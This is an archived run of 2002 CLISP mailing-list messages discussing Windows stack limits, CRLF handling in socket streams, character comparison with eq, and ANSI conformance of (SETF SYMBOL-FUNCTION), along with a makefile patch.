In-Reply-To: <5.1.0.14.2.20020105211359.00b13250@miguelg.net> References: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 15:08:03 2002 X-Original-Date: Sat, 05 Jan 2002 23:06:52 +0000 Please ignore my previous message (quoted bellow) as I found out that the=20 editbin program expects /STACK instead of /stack (it is case sensitive). BTW, why running (fact 250000) (that's a huge number :) I am just trying=20 out LISP's mathematical capabilities as I intend to use it very soon for a= =20 project that involves lots of mathematics) in non-compiled mode CLISP=20 aborts with: C:\CLISP>clisp factorial.lsp C:\CLISP>c:\clisp\lisp.exe -m 128MB -M c:\clisp\lispinit.mem -B c:\clisp=20 factori al.lsp *** - Lisp stack overflow. RESET and running with the -C flag (id est, compiling before running) it all goes= =20 well (it completes the calculation in about 60 seconds -- real time)? Best regards, Miguel At 21:15 05-01-2002 +0000, Miguel Gon=E7alves wrote: >After running the editbin command exactly as you suggested I got this: > >[1]> (defun fact (n) > (if (> n 0) > (* n (fact (- n 1))) > 1)) >FACT > >[2]> >(fact 5000) > >*** - Program stack overflow. RESET >[3]> > >What might be the problem? Is it CLISP or Windows? I tried the same=20 >function with DrScheme and managed to calculate (fact 20000) so I think=20 >it's not a Windows problem. > >TIA, >Miguel > >At 10:40 05-01-2002 -0500, you wrote: >> > * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> >> > * On the subject of "[clisp-list] Stack size problem" >> > * Sent on Sat, 05 Jan 2002 03:14:16 +0000 >> > * Honorable Miguel Gon=E7alves writes: >> > >> > On the Microsoft Windows platform the stack is too small when compared >> > to GNU/Linux installations. >> > >> > Can it be increased in any way without recompiling CLISP? >> >>editbin /stack:3145728 lisp.exe From samuel.steingold@verizon.net Sat Jan 05 17:19:08 2002 Received: from smtp001pub.verizon.net ([206.46.170.180]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16N1xr-0008If-00 for ; Sat, 05 Jan 2002 17:19:07 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp001pub.verizon.net with ESMTP ; id g061Ivb02421 Sat, 5 Jan 2002 19:18:59 -0600 (CST) To: Miguel =?iso-8859-1?q?Gon=E7alves?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Stack size problem References: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> <5.1.0.14.2.20020105225719.00b135b8@miguelg.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020105225719.00b135b8@miguelg.net> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 17:20:01 2002 X-Original-Date: 05 Jan 2002 20:16:31 -0500 > * In message <5.1.0.14.2.20020105225719.00b135b8@miguelg.net> > * On the subject of "Re: [clisp-list] Stack size problem" > * Sent on Sat, 05 Jan 2002 23:06:52 +0000 > * Honorable Miguel Gon=E7alves writes: > > BTW, why running (fact 250000) (that's a huge number :) I am just > trying out LISP's mathematical capabilities as I intend to use it very > soon for a project that involves lots of mathematics) in non-compiled > mode CLISP aborts with: >=20 > C:\CLISP>clisp factorial.lsp >=20 > C:\CLISP>c:\clisp\lisp.exe -m 128MB -M c:\clisp\lispinit.mem -B c:\clisp > factori > al.lsp >=20 > *** - Lisp stack overflow. RESET >=20 > and running with the -C flag (id est, compiling before running) it all > goes well (it completes the calculation in about 60 seconds -- real > time)? compiled code is faster and uses less stack - are you surprised? note that your implementation of factorial is very inefficient. see CLOCC/CLLIB/math.lisp (product-from-to, fibonacci &c) note also that CLISP has some mathematical functions built-in. --=20 Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Your mouse has moved - WinNT has to be restarted for this to take effect. From samuel.steingold@verizon.net Sat Jan 05 17:21:40 2002 Received: from smtp005pub.verizon.net ([206.46.170.184]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16N20K-0000GX-00 for ; Sat, 05 Jan 2002 17:21:40 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp005pub.verizon.net with ESMTP ; id g061LVl15159 Sat, 5 Jan 2002 19:21:32 -0600 (CST) To: "John Wiseman" Cc: Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 17:22:03 2002 X-Original-Date: 05 Jan 2002 20:19:03 -0500 > * In message > * On the subject of "RE: [clisp-list] bugs in (setf (stream-element-type x) ...)" > * Sent on Sat, 5 Jan 2002 15:12:30 -0600 > * Honorable "John Wiseman" writes: > > Todd Sabin wrote: > > > So, I was trying to write some sample code that would act as an HTTP > > client. What I did was (socket-connect ...), (format ...), then > > (read-line ...) until I got the empty line. At that point, I did > > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then > > (read-sequence *array* *socket*), where *array* was obtained from > > make-array with the size specified by the Content-Length: header. > > Seriously, you should never use read-line for that stuff, even if it > seems to "work". HTTP (and many other protocols) use CRLF. read-line > has nothing to do with CRLF. It might work on your machine-of-the- > moment, in your lisp-of-the-moment, but it is wrong. you mean it is not portable? sure. but there is nothing wrong with making CLISP handle this correctly, and making encodings specify input line termination mode is, IMO, TRW. wanna do it? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Daddy, what does "format disk c: complete" mean? From johs@bzzzt.fix.no Sat Jan 05 20:14:39 2002 Received: from bzzzt.fix.no ([212.71.72.20]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16N4hh-00083A-00 for ; Sat, 05 Jan 2002 20:14:37 -0800 Received: from johs by bzzzt.fix.no with local (Exim 3.33 #1) id 16N4hd-0007El-00 for clisp-list@lists.sourceforge.net; Sun, 06 Jan 2002 05:14:33 +0100 To: Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: From: "Johannes =?iso-8859-15?q?Gr=F8dem?=" In-Reply-To: ("John Wiseman"'s message of "Sat, 5 Jan 2002 15:19:47 -0600") Message-ID: Lines: 11 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.1 (i386--freebsd) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 20:15:04 2002 X-Original-Date: Sun, 06 Jan 2002 05:14:33 +0100 * "John Wiseman" : > Eek, was I really using eq to compare characters? Isn't that okay? I mean, for what reasons should (eq #\a #\a) be nil? (Just curious.) -- johs From wiseman@inetmi.com Sat Jan 05 21:24:59 2002 Received: from nameserve.inetmi.com ([204.146.136.253]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16N5nl-00046D-00 for ; Sat, 05 Jan 2002 21:24:57 -0800 Received: (qmail 10054 invoked from network); 6 Jan 2002 05:29:18 -0000 Received: from unknown (HELO LEMONODOR) (12.247.49.141) by 204.146.136.253 with SMTP; 6 Jan 2002 05:29:18 -0000 From: "John Wiseman" To: Subject: RE: [clisp-list] bugs in (setf (stream-element-type x) ...) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 21:25:01 2002 X-Original-Date: Sat, 5 Jan 2002 23:24:39 -0600 Johannes Grodem wrote: > > Eek, was I really using eq to compare characters? > > Isn't that okay? I mean, for what reasons should (eq #\a #\a) > be nil? From the Hyperspec entry on eq (http://www.xanalys.com/software_tools/reference/HyperSpec/Body/fun_eq.html) : An implementation is permitted to make ``copies'' of characters and numbers at any time. The effect is that Common Lisp makes no guarantee that eq is true even when both its arguments are ``the same thing'' if that thing is a character or number. John Wiseman From samuel.steingold@verizon.net Sun Jan 06 12:17:47 2002 Received: from [206.46.170.239] (helo=pop012pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NJjm-0005jy-00 for ; Sun, 06 Jan 2002 12:17:46 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop012pub.verizon.net with ESMTP ; id g06KHv9U000363 Sun, 6 Jan 2002 14:17:58 -0600 (CST) To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP References: <20011230131716.B6073@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011230131716.B6073@balefire.localdomain> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 12:20:26 2002 X-Original-Date: 06 Jan 2002 15:15:14 -0500 > * In message <20011230131716.B6073@balefire.localdomain> > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP" > * Sent on Sun, 30 Dec 2001 13:17:16 -0600 > * Honorable William Harold Newman writes: > > There's also a remaining non-ANSI-ism in CLISP which has historically > caused problems in SBCL bootstrapping, even though I didn't run into > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals > an error). (SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP. I don't think that ANSI requires it to be a function. wrt (FUNCTION macro) ANSI says: | It is an error to use function on a function name that does not denote | a function in the lexical environment in which the function form | appears. Specifically, it is an error to use function on a symbol that | denotes a macro or special form . An implementation may choose not to | signal this error for performance reasons, but implementations are | forbidden from defining the failure to signal an error as a useful | behavior. I just fixed CLISP so that (FDEFINITION (SETF foo)) work even when (SETF foo) is a macro, not a function. thanks for your bug reports! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! There is Truth, and its value is T. Or just non-NIL. So 0 is True! From samuel.steingold@verizon.net Sun Jan 06 12:31:14 2002 Received: from out003pub.verizon.net ([206.46.170.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NJwn-00005p-00 for ; Sun, 06 Jan 2002 12:31:13 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by out003pub.verizon.net with ESMTP for ; id g06KV2220889 Sun, 6 Jan 2002 14:31:03 -0600 (CST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MSVC makefiles (patch) References: <20020105203147.50866.qmail@web10108.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020105203147.50866.qmail@web10108.mail.yahoo.com> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 Message-ID: Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 12:32:02 2002 X-Original-Date: 06 Jan 2002 15:28:40 -0500 > * In message <20020105203147.50866.qmail@web10108.mail.yahoo.com> > * On the subject of "[clisp-list] MSVC makefiles (patch)" > * Sent on Sat, 5 Jan 2002 12:31:47 -0800 (PST) > * Honorable Indrayana Rustandi writes: > > When trying to build CLisp 2.27 using nmake in > Win2KSP2, I encountered a problem that del could stop > the build prematurely if it tried to delete > non-existent files/directories. Prefixing the command > with '-' solves the problem. Attached is a patch that > modifies existing references to 'del' to '-del'. thanks - I just applied a patch based on yours. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From tas@webspan.net Sun Jan 06 13:15:56 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NKe3-0007Lp-00 for ; Sun, 06 Jan 2002 13:15:55 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id QAA10850; Sun, 6 Jan 2002 16:15:20 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: John Wiseman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: From: Todd Sabin In-Reply-To: (John Wiseman's message of "Sat, 05 Jan 2002 15:12:30 -0600") Message-ID: Lines: 79 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 13:16:02 2002 X-Original-Date: 06 Jan 2002 16:15:20 -0500 John Wiseman writes: > Todd Sabin wrote: > > > So, I was trying to write some sample code that would act as an HTTP > > client. What I did was (socket-connect ...), (format ...), then > > (read-line ...) until I got the empty line. At that point, I did > > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then > > (read-sequence *array* *socket*), where *array* was obtained from > > make-array with the size specified by the Content-Length: header. > > Seriously, you should never use read-line for that stuff, even if it > seems to "work". HTTP (and many other protocols) use CRLF. read-line > has nothing to do with CRLF. It might work on your machine-of-the- > moment, in your lisp-of-the-moment, but it is wrong. > That depends on what you mean by 'wrong'. And whether anything can actually be considered 'right'. I'm fairly new to doing sockets and streams in Common Lisp, and have been trying to figure out the way you're supposed to do stuff like this. I haven't been able to figure it out, yet. If you can explain it to me, I'd be grateful. > This is what I use in ACL (windows, linux) and MCL: > > > (defparameter *cr* (code-char 13)) > (defparameter *lf* (code-char 10)) > > (defun read-telnet-line (stream) > "Read a CRLF-terminated line" > (let ((line (make-array 10 :element-type 'character :adjustable t > :fill-pointer 0)) > (char nil)) > (do () ((or (eq :eof (setq char (read-char stream NIL :eof))) > (and (eq char *cr*) (eq (peek-char nil stream) *lf*))) > (when (not (eq char :eof)) (read-char stream)) > line) > (vector-push-extend char line)))) > > > I haven't tried this in clisp. > If you do, I think you'll find that it doesn't work. For character streams, clisp automatically transforms CRLF -> LF, so you'll never see a CR followed by a LF, unless the bytes have CRCRLF. Furthermore, I can't see that this translation is wrong. The only thing I found on it in the HyperSpec was that for character streams implementations are supposed to do the 'appropriate' line termination transforms, or something to that effect. If you can show otherwise, I'd be interested. (Not that I like the CRLF -> LF transformation; I've found it to be more trouble than it's worth, so far.) Also, assuming you've read chars up to the point where the HTTP headers end, how are you going to read the bytes, assuming that it's binary data? Nothing says that read-byte is supposed to work on character streams, as far as I can tell, so it seems you either need something non-portable like (setf (stream-element-type ...)), or an implementation that allows you to mix bytes and chars, or you need a guarantee from your implementation that CHARACTER is the same as (unsigned-byte 8), and it doesn't do any CRLF -> LF type of tranform. It seems the only truly portable approach is to always use read-byte with (unsigned-byte 8) and write your own read line function which does the transforms from bytes to chars for you. If you do that, though, you can't use FORMAT for output anymore. I suppose you could (format nil ...) and then map char-code over the resulting string and write-byte them all. At least, that's how things appear to my admittedly cl-inexperienced eye. Is there a less elaborate approach that's both considered 'right' (or at least 'good enough') and actually works in all conforming implementations? Not trying to be a pedant. I'm really interested. Todd From william.newman@airmail.net Sun Jan 06 13:30:18 2002 Received: from mx2.airmail.net ([209.196.77.99]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NKrx-00022S-00 for ; Sun, 06 Jan 2002 13:30:17 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx2.airmail.net with smtp (Exim 3.16 #10) id 16NKry-000LCI-00 for clisp-list@lists.sourceforge.net; Sun, 06 Jan 2002 15:30:18 -0600 Received: from balefire.localdomain from [207.136.38.148] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Sun, 6 Jan 2002 15:31:56 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g06LJrk09899; Sun, 6 Jan 2002 15:19:53 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP Message-ID: <20020106211953.GA27584@balefire.localdomain> References: <20011230131716.B6073@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 13:31:02 2002 X-Original-Date: Sun, 6 Jan 2002 15:19:53 -0600 On Sun, Jan 06, 2002 at 03:15:14PM -0500, Sam Steingold wrote: > > * In message <20011230131716.B6073@balefire.localdomain> > > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP" > > * Sent on Sun, 30 Dec 2001 13:17:16 -0600 > > * Honorable William Harold Newman writes: > > > > There's also a remaining non-ANSI-ism in CLISP which has historically > > caused problems in SBCL bootstrapping, even though I didn't run into > > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals > > an error). > > (SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP. > I don't think that ANSI requires it to be a function. > wrt (FUNCTION macro) ANSI says: > > | It is an error to use function on a function name that does not denote > | a function in the lexical environment in which the function form > | appears. Specifically, it is an error to use function on a symbol that > | denotes a macro or special form . An implementation may choose not to > | signal this error for performance reasons, but implementations are > | forbidden from defining the failure to signal an error as a useful > | behavior. I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't conforming code). At first I agreed with you anyway, but I've since concluded that it's a (natural) misreading of the spec. I'll explain... I looked for quite a while without finding anything in the ANSI spec to contradict you. The page defining the symbol SYMBOL-FUNCTION says that SYMBOL-FUNCTION itself is an "accessor". And the glossary definition of "accessor" says it's an operator which reads or writes, and the glossary definition of "operator" says it's either a function or a macro. So it looks as though SYMBOL-FUNCTION itself can be a macro, so (SETF SYMBOL-FUNCTION) can presumably be a macro too. However, even though the spec seemed to agree with you, I wondered whether we were reading the spec right. ANSI uses the terminology "accessor" in the definitions of various function-ish things, including CAR and FIND-CLASS. Is it really true that (mapcar #'car expressions) and (find class class-names :key #'find-class) aren't portable code because a conforming ANSI CL implementation might define CAR and FIND-CLASS as macros instead of functions? I found that weird, enough so that I was skeptical about the (admittedly natural) reading of the Hyperspec above. Thus, I looked harder. Eventually, I found support for the behavior I expected, in "1.4.4.14 The ``Name'' Section of a Dictionary Entry". It says This section introduces the dictionary entry. It is not explicitly labeled. It appears preceded and followed by a horizontal bar. In large print at left, the defined name appears; if more than one defined name is to be described by the entry, all such names are shown separated by commas. In somewhat smaller italic print at right is an indication of what kind of dictionary entry this is. Possible values are: Accessor This is an accessor function. [etc.] So: I think when you see "accessor" at the head of an entry in the symbols dictionary, it is to be interpreted as "accessor function". (And yes, this *does* seem like a remarkably indirect and confusing way to specify the function-not-macro-ness of things like CAR.) > I just fixed CLISP so that (FDEFINITION (SETF foo)) work even when (SETF > foo) is a macro, not a function. Thank you. (And please be patient about the SBCL/CLISP porting stuff, since I'm still flailing at other sbcl problems.) -- William Harold Newman "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" -- Klingon programmer PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From tas@webspan.net Sun Jan 06 13:30:42 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NKsM-00024a-00 for ; Sun, 06 Jan 2002 13:30:42 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id QAA10882; Sun, 6 Jan 2002 16:30:35 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Thu, 03 Jan 2002 10:44:04 -0500") Message-ID: Lines: 63 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 13:31:03 2002 X-Original-Date: 06 Jan 2002 16:30:35 -0500 Sam Steingold writes: > > No, there were CR returns in there, as well. I suppose I could have > > done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%"). > > if you do > (socket-connect 80 "jetcar.qnz.org" :buffered t :external-format :dos) > then TERPRI will send CRLF. > Ah, ok. > > > using UnbufferedStreamLow_listen() should prevent hanging. > > > > > > if (ignore_next_LF) { > > > if (UnbufferedStreamLow_listen()) { > > > if (peak_char() == LF) > > > read_char(); > > > } > > > } > > > > > > patch would be welcome. > > > > > > > Will the low-level peek_char do roughly the same thing as the > > lisp-level one? I.e., read-char, unread-char? > > no, they use non-blocking libc routines. > My point was that using peek_char in C will cause visible (incorrect) changes at the lisp level. Assume the data contains CR . Now if the user does (read-char stream), and then tries (unread-char CR), it would cause an error, because the C code did a peek_char (read,unread) during the read-char, so the last char read is not really CR, but the . The C code would need to account for this case, and I don't see a straightforward way of doing it. > > Also, this wouldn't handle the case where the next character will be a > > LF, but it's not available, yet. This can happen in the buffered > > case, as well, and it's not even necessary to use > > (setf (stream-element-type ..)) to get incorrect results in that case. > > It seems that the buffered case needs to pay attention to ignore_next_LF, > > too. > > > > There seem to be other implications with the way things currently > > stand, as well. Say I want to write an HTTP proxy. What I'd do is > > listen for a connection on a socket. When I get one, do read-line > > until I get an empty line, process the request, send the results to my > > client and close the socket (stream). If I do that but don't use a > > buffered stream, then I'll end up sending a TCP RST to my client > > because the last LF of his request will remain unread. Ugh. > > yes, this is an issue. > patch is welcome. > Again, I don't see a nice way of handling it. I guess you could check for the LF just before closing, or doing a (setf (stream-element-type ...)) and eat it at that point. Todd From don-sourceforge@isis.cs3-inc.com Sun Jan 06 13:41:16 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NL2Z-00037C-00 for ; Sun, 06 Jan 2002 13:41:16 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g06LdDC27018; Sun, 6 Jan 2002 13:39:13 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15416.50177.426282.473656@isis.cs3-inc.com> To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 13:42:01 2002 X-Original-Date: Sun, 6 Jan 2002 13:39:13 -0800 > That depends on what you mean by 'wrong'. And whether anything can > actually be considered 'right'. I'm fairly new to doing sockets and > streams in Common Lisp, and have been trying to figure out the way > you're supposed to do stuff like this. I haven't been able to figure > it out, yet. If you can explain it to me, I'd be grateful. For dealing with standard internet protocols I long ago gave up trying to use characters in clisp and moved to bytes. At least for reading. If you have a string that you want to write then it's ok to write it as characters. My impression is that others who have tried to do similar tasks have generally followed the same path, sometimes after much effort trying to make it all work with characters. You might also save a lot of time by using code that others have already written for such things. I recall a number of http servers. Mine is in clocc under src/donc I believe (can't reach clocc just now). I've not tried to keep track of others but I recall seeing something about that not too long ago on this list. From kaz@footprints.net Sun Jan 06 13:57:13 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NLI1-0004in-00 for ; Sun, 06 Jan 2002 13:57:13 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16NLHz-0001yh-00; Sun, 06 Jan 2002 13:57:11 -0800 From: Kaz Kylheku To: William Harold Newman cc: Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP In-Reply-To: <20020106211953.GA27584@balefire.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 13:58:03 2002 X-Original-Date: Sun, 6 Jan 2002 13:57:11 -0800 (PST) On Sun, 6 Jan 2002, William Harold Newman wrote: > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't > conforming code). I'd be surprised if anything other than #'function-name or #'(lambda ... expression) is conforming code. At first I agreed with you anyway, but I've since > concluded that it's a (natural) misreading of the spec. I'll explain... > > I looked for quite a while without finding anything in the ANSI spec > to contradict you. The page defining the symbol SYMBOL-FUNCTION says > that SYMBOL-FUNCTION itself is an "accessor". That is completely irrelevant. The special operator called ``function'' receives its parameter unevaluated. So in the expression (function (setf ...)) the operator simply receives the list (setf ...). The operator understands only two things: a function name, or a lambda expression. It will ``curry'' either of these into a funcall-able object. In order for (function (setf ...)) to do anything useful, the setf form would have to be considered a lambda expression. This is not the case; a lambda expression is a list object whose first element is the symbol lambda. > And the glossary > definition of "accessor" says it's an operator which reads or writes, It's only an accessor when it's evaluated, not when it's part of a dead list that is passed unevaluated to an operator. If you want to turn the form (setf (symbol-function some-symbol) new-value) into a funcallable object which takes new-value as a parameter, wrap it in a lambda expression: #'(lambda (new-value) (setf (symbol-function some-symbol) new-value)) There you go, now you can funcall this with one argument, new new value to be stored in the symbol's function cell. From tas@webspan.net Sun Jan 06 14:09:29 2002 